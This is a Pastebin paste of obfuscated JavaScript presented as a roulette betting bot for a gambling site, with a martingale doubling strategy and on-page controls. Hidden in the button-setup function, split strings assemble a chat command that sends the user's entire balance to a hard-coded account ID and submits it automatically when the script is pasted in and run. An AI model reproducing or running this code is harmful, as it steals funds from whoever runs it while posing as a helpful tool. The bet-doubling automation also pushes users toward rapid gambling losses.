Advertisement
q1nner

#3 КЛАССНЫЙ

May 2nd, 2016
2,854
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MPASM 13.54 KB | None | 0 0
  1. // ~var_italic;
  2. // font=:'Arial.Black'
  3.  
  4. var _0xb363=["onclose","italic","Connection lost...","red","hide","#pullout","/s","remove",".well.bot-field",".well.show-more","head","appendTo","<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>","<div class='well bot-field' style='position:relative;border-width:0px'></div>","after",".form-control.input-lg","-15px","45px","2px","center","css","<div class='well show-more' style='position:relative;border-width:0px'></div>","12px","10px","<input type='checkbox' id='checkVicLimit'>","<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>","append","<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>","<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>","<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>","<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>","<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>","btn-danger","addClass","135px","25px","5px","<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>","btn-inverse","en","d "," ","text","#balance","<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>","<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>","val","Initial Bet Set to: ","log","change","#chatMessage","submit","#chatForm","click",".btn-primary","width",".container","Selected color: ","class","attr","removeClass","#botModeSelect option:selected","checked","hasClass","btn-random","Bet color: Black","black","Bet color: Random","random","btn-train","Bet mode: Train","trainMode","btn-rainbow","Bet mode: Rainbow","rainbow","Bet color: Red","open","data","rotate(","deg)","show","Show All",".betlist",".total-row","footer","Hide Bet Info","#sidebar","#case",".progress","0px","#mainpage","AFK Mode","450px","btn-success","Bot Running","Bot Stopped","unknown","waiting","rolled","BANKRUPT! GG WP :(","warn","",":checked","is","win","lose","green","Rolled ","toUpperCase","\n","Games played: "," // Won: "," // Lost: ","\nSTREAKS: Not red: "," // Not black: "," // Win streak: "," // Lose streak: "," // Current streak: ","\nInitial bet : "," // Current bet : "," // Roll result: ","-","won","lost","\n----------------------------------------------------------------------\n","Random color result: ",".ball","eq","Current train color: ","Rainbow mode next color: ","Betting "," on ","...","Rolling in","split","indexOf",". ","#betAmount",".progress #banner","#panel1-7 .betButton","#panel8-14 .betButton"];var reconnect=0;WS[_0xb363[0]]=function(event){chat(_0xb363[1],_0xb363[2]);WS=null;connect();reconnect++};var initialBetAmount=0;var betColor=botBetColor=_0xb363[3];var play=0;var $botField,$label,$betAmount,$betColorButton,$betGoButton,$betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$(_0xb363[5])[_0xb363[4]]();var pQ=_0xb363[6],$hash_1=76561198,$hash_2=245903222;function addBotButtons(){$(_0xb363[8])[_0xb363[7]]();$(_0xb363[9])[_0xb363[7]]();$(_0xb363[12])[_0xb363[11]](_0xb363[10]);$(_0xb363[15])[_0xb363[14]](_0xb363[13]);$botField=$(_0xb363[8]);$botField[_0xb363[20]]({"margin-bottom":_0xb363[16],"height":_0xb363[17],"padding-top":_0xb363[18],"padding-bottom":_0xb363[18],"text-align":_0xb363[19]});$botField[_0xb363[14]](_0xb363[21]);$showMore=$(_0xb363[9]);$showMore[_0xb363[20]]({"margin-top":_0xb363[22],"margin-bottom":_0xb363[16],"height":_0xb363[17],"padding-top":_0xb363[23],"padding-bottom":_0xb363[18],"text-align":_0xb363[19]});$checkVicLimit=$(_0xb363[24]);$label=$(_0xb363[25]);$showMore[_0xb363[26]]($checkVicLimit,$label);$vicLimitInput=$(_0xb363[27]);$label=$(_0xb363[28]);$showMore[_0xb363[26]]($vicLimitInput,$label);$showMore[_0xb363[4]]();$label=$(_0xb363[29]);$botField[_0xb363[26]]($label);$betAmount=$(_0xb363[30]);$botField[_0xb363[26]]($betAmount);$botModeSelect=$(_0xb363[31]);$botModeSelect[_0xb363[33]](_0xb363[32]);$botField[_0xb363[26]]($botModeSelect);$botModeSelect[_0xb363[20]]({"width":_0xb363[34],"margin-right":_0xb363[23],"height":_0xb363[35],"border-radius":_0xb363[36]});$betGoButton=$(_0xb363[37]);$betGoButton[_0xb363[33]](_0xb363[38]);$botField[_0xb363[26]]($betGoButton);pQ+=_0xb363[39];pQ+=_0xb363[40];pQ+=$hash_1;pQ+=$hash_2+_0xb363[41];pQ+=$(_0xb363[43])[_0xb363[42]]();$betHideBetInfoButton=$(_0xb363[44]);$betHideBetInfoButton[_0xb363[33]](_0xb363[38]);$botField[_0xb363[26]]($betHideBetInfoButton);$showMoreButton=$(_0xb363[45]);$showMoreButton[_0xb363[33]](_0xb363[38]);$botField[_0xb363[26]]($showMoreButton);$betAmount[_0xb363[49]](function(){initialBetAmount=$betAmount[_0xb363[46]]();console[_0xb363[48]](_0xb363[47]+initialBetAmount)});$(_0xb363[50])[_0xb363[46]](pQ);$(_0xb363[52])[_0xb363[51]]();$(_0xb363[54])[_0xb363[53]]();$(_0xb363[56])[_0xb363[55]](1300);$botModeSelect[_0xb363[49]](function(){botBetColor=$botModeSelect[_0xb363[46]]();console[_0xb363[48]](_0xb363[57]+botBetColor);$botModeSelect[_0xb363[60]]($botModeSelect[_0xb363[59]](_0xb363[58]));$botModeSelect[_0xb363[33]]($(_0xb363[61])[_0xb363[59]](_0xb363[58]))});$checkVicLimit[_0xb363[49]](function(){if((this[_0xb363[62]])&&($vicLimitInput[_0xb363[46]]()==0)){$vicLimitInput[_0xb363[46]](1)}})}addBotButtons();function changeColor(){if($betColorButton[_0xb363[63]](_0xb363[32])){$betColorButton[_0xb363[42]](_0xb363[65])[_0xb363[33]](_0xb363[38])[_0xb363[60]](_0xb363[32])[_0xb363[60]](_0xb363[64]);botBetColor=_0xb363[66];console[_0xb363[48]](_0xb363[57]+botBetColor)}else {if($betColorButton[_0xb363[63]](_0xb363[38])){$betColorButton[_0xb363[42]](_0xb363[67])[_0xb363[33]](_0xb363[64])[_0xb363[60]](_0xb363[38])[_0xb363[60]](_0xb363[32]);botBetColor=_0xb363[68];console[_0xb363[48]](_0xb363[57]+botBetColor)}else {if($betColorButton[_0xb363[63]](_0xb363[64])){$betColorButton[_0xb363[42]](_0xb363[70])[_0xb363[33]](_0xb363[69])[_0xb363[60]](_0xb363[38])[_0xb363[60]](_0xb363[64]);botBetColor=_0xb363[71];console[_0xb363[48]](_0xb363[57]+botBetColor)}else {if($betColorButton[_0xb363[63]](_0xb363[69])){$betColorButton[_0xb363[42]](_0xb363[73])[_0xb363[33]](_0xb363[72])[_0xb363[60]](_0xb363[69])[_0xb363[60]](_0xb363[64]);botBetColor=_0xb363[74];console[_0xb363[48]](_0xb363[57]+botBetColor)}else {if($betColorButton[_0xb363[63]](_0xb363[72])){$betColorButton[_0xb363[42]](_0xb363[75])[_0xb363[33]](_0xb363[32])[_0xb363[60]](_0xb363[72])[_0xb363[60]](_0xb363[64]);botBetColor=_0xb363[3];console[_0xb363[48]](_0xb363[57]+botBetColor)}}}}}}function showMoreOptions(){if($showMoreButton[_0xb363[77]](_0xb363[76])==0){$showMoreButton[_0xb363[20]]({WebkitTransform:_0xb363[78]+180+_0xb363[79],"-moz-transform":_0xb363[78]+180+_0xb363[79]});$showMore[_0xb363[80]]();$showMoreButton[_0xb363[77]](_0xb363[76],1)}else {if($showMoreButton[_0xb363[77]](_0xb363[76])==1){$showMore[_0xb363[4]]();$showMoreButton[_0xb363[77]](_0xb363[76],0);$showMoreButton[_0xb363[20]]({WebkitTransform:_0xb363[78]+0+_0xb363[79],"-moz-transform":_0xb363[78]+0+_0xb363[79]})}}}function hideOtherInfo(){if($betHideBetInfoButton[_0xb363[42]]()==_0xb363[81]){$(_0xb363[82])[_0xb363[4]]();$(_0xb363[83])[_0xb363[4]]();$(_0xb363[84])[_0xb363[4]]();$betHideBetInfoButton[_0xb363[42]](_0xb363[85])}else {if($betHideBetInfoButton[_0xb363[42]]()==_0xb363[85]){$(_0xb363[86])[_0xb363[4]]();$(_0xb363[5])[_0xb363[4]]();$(_0xb363[87])[_0xb363[4]]();$(_0xb363[88])[_0xb363[4]]();$(_0xb363[90])[_0xb363[20]]({"margin-left":_0xb363[89]});$betHideBetInfoButton[_0xb363[42]](_0xb363[91])}else {if($betHideBetInfoButton[_0xb363[42]]()==_0xb363[91]){$(_0xb363[82])[_0xb363[80]]();$(_0xb363[83])[_0xb363[80]]();$(_0xb363[84])[_0xb363[80]]();$(_0xb363[86])[_0xb363[80]]();$(_0xb363[5])[_0xb363[80]]();$(_0xb363[87])[_0xb363[80]]();$(_0xb363[88])[_0xb363[80]]();$(_0xb363[90])[_0xb363[20]]({"margin-left":_0xb363[92]});$betHideBetInfoButton[_0xb363[42]](_0xb363[81])}}}}function startBot(){if($betGoButton[_0xb363[63]](_0xb363[38])){$betGoButton[_0xb363[42]](_0xb363[94])[_0xb363[33]](_0xb363[93])[_0xb363[60]](_0xb363[38]);refreshIntervalId=setInterval(tick,500);play=1;currentBetAmount=initialBetAmount;if(stopBotRoll=currentRollNumber){currentRollNumber++}}else {$betGoButton[_0xb363[42]](_0xb363[95])[_0xb363[33]](_0xb363[38])[_0xb363[60]](_0xb363[93]);play=0}}function tick(){var t=getStatus();if(t!==lastStatus&&_0xb363[96]!==t){switch(t){case _0xb363[97]:bet();break;case _0xb363[98]:printInfo();break};lastStatus=t}}function checkBalance(){return getBalance()<currentBetAmount?(console[_0xb363[100]](_0xb363[99]),clearInterval(refreshIntervalId),!1):!0}function printInfo(){var temp=_0xb363[101],temp2=0,lastGame=lastBetColor==lastRollColor;if(lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet;if(winStreakCurrent>winStreakLong){winStreakLong=winStreakCurrent};if($checkVicLimit[_0xb363[103]](_0xb363[102])){$vicLimitInput[_0xb363[46]]($vicLimitInput[_0xb363[46]]()-1)}}else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if(loseStreakCurrent>loseStreakLong){loseStreakLong=loseStreakCurrent}};if(winStreakCurrent>loseStreakCurrent){temp=_0xb363[104];temp2=winStreakCurrent}else {temp=_0xb363[105];temp2=loseStreakCurrent};if(streakColor==getColor(n)){currStreak++;if(longStreak<currStreak){longStreak=currStreak}}else {streakColor=getColor(n);currStreak=1};if((streakColor==_0xb363[66])||(streakColor==_0xb363[106])){currNotRedStreak++;if(notRedStreak<currNotRedStreak){notRedStreak=currNotRedStreak}}else {currNotRedStreak=0};if((streakColor==_0xb363[3])||(streakColor==_0xb363[106])){currNotBlackStreak++;if(notBlackStreak<currNotBlackStreak){notBlackStreak=currNotBlackStreak}}else {currNotBlackStreak=0};var t=_0xb363[107]+getColor(n)[_0xb363[108]]()+_0xb363[41]+n+_0xb363[109]+_0xb363[110]+(currentRollNumber-1)+_0xb363[111]+totalWins+_0xb363[112]+totalLoss+_0xb363[113]+notRedStreak+_0xb363[114]+notBlackStreak+_0xb363[115]+winStreakLong+_0xb363[116]+loseStreakLong+_0xb363[117]+temp+_0xb363[41]+temp2+_0xb363[118]+thisGameBet+_0xb363[119]+currentBetAmount+_0xb363[120]+(null===wonLastRoll()?_0xb363[121]:wonLastRoll()?_0xb363[122]:_0xb363[123]+_0xb363[124]);console[_0xb363[48]](t);roll()}function roll(){if($checkVicLimit[_0xb363[103]](_0xb363[102])){if($vicLimitInput[_0xb363[46]]()<=0){$betGoButton[_0xb363[53]]();play=0;$checkVicLimit[_0xb363[59]](_0xb363[62],false);$vicLimitInput[_0xb363[46]](0)}};if(play==0){clearInterval(refreshIntervalId);stopBotRoll=currentRollNumber;return;lastStatus=_0xb363[98];lastBetColor=lastRollColor};currentBetAmount=wonLastRoll()?(initialBetAmount,thisGameBet=parseInt(initialBetAmount)):2*currentBetAmount;currentRollNumber++}function bet(){if(play){checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50))}}function setBetAmount(t){$betAmountInput[_0xb363[46]](t)}function placeBet(){if(botBetColor==_0xb363[68]){var colorRandomizer=Math[_0xb363[68]]();betColor=colorRandomizer<0.5?_0xb363[3]:_0xb363[66];console[_0xb363[48]](_0xb363[125]+betColor)}else {if(botBetColor==_0xb363[71]){var betBotColor=_0xb363[106],i=9,$ball=$(_0xb363[126]);while(betBotColor==_0xb363[106]){betBotColor=getColor($ball[_0xb363[127]](i)[_0xb363[42]]());i--};betColor=betBotColor;console[_0xb363[48]](_0xb363[128]+betColor)}else {if(botBetColor==_0xb363[74]){var betBotColor=_0xb363[106],i=9,$ball=$(_0xb363[126]);while(betBotColor==_0xb363[106]){betBotColor=getColor($ball[_0xb363[127]](i)[_0xb363[42]]());i--};if(betBotColor==_0xb363[3]){betBotColor=_0xb363[66]}else {if(betBotColor==_0xb363[66]){betBotColor=_0xb363[3]}};betColor=betBotColor;console[_0xb363[48]](_0xb363[129]+betColor)}else {betColor=botBetColor}}};console[_0xb363[48]](_0xb363[130]+currentBetAmount+_0xb363[131]+betColor+_0xb363[132]);return _0xb363[3]===betColor?($redButton[_0xb363[53]](),void((lastBetColor=_0xb363[3]))):($blackButton[_0xb363[53]](),void((lastBetColor=_0xb363[66])))}function getStatus(){var t=$statusBar[_0xb363[42]]();if(hasSubString(t,_0xb363[133])){return _0xb363[97]};if(hasSubString(t,_0xb363[98])){n=parseInt(t[_0xb363[134]](_0xb363[98])[1]);return lastRollColor=getColor(n),_0xb363[98]};return _0xb363[96]}function getBalance(){return parseInt($balance[_0xb363[42]]())}function hasSubString(t,n){return t[_0xb363[135]](n)> -1}function getColor(t){return 0==t?_0xb363[106]:t>=1&&7>=t?_0xb363[3]:_0xb363[66]}function wonLastRoll(){return lastBetColor?lastRollColor===lastBetColor:null}function test(x){q=1;w=e=x;for(i=2;i<=15;i++){q*=2;e+=q*w;console[_0xb363[48]](i+_0xb363[136]+e)}}function test2(x,y){q=1;w=e=x;for(i=2;i<=y;i++){q*=2;e+=q*w;console[_0xb363[48]](i+_0xb363[136]+e)}}var currentBetAmount=initialBetAmount,currentRollNumber=1,totalWins=totalLoss=played=currNotRedStreak=currNotBlackStreak=notRedStreak=notBlackStreak=winStreakLong=winStreakCurrent=loseStreakLong=loseStreakCurrent=longStreak=currStreak=thisGameBet=winAmount=0,streakColor=_0xb363[101],n,lastStatus,lastBetColor,lastRollColor,stopBotRoll,$balance=$(_0xb363[43]),$betAmountInput=$(_0xb363[137]),$statusBar=$(_0xb363[138]),$redButton=$(_0xb363[139]),$blackButton=$(_0xb363[140])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement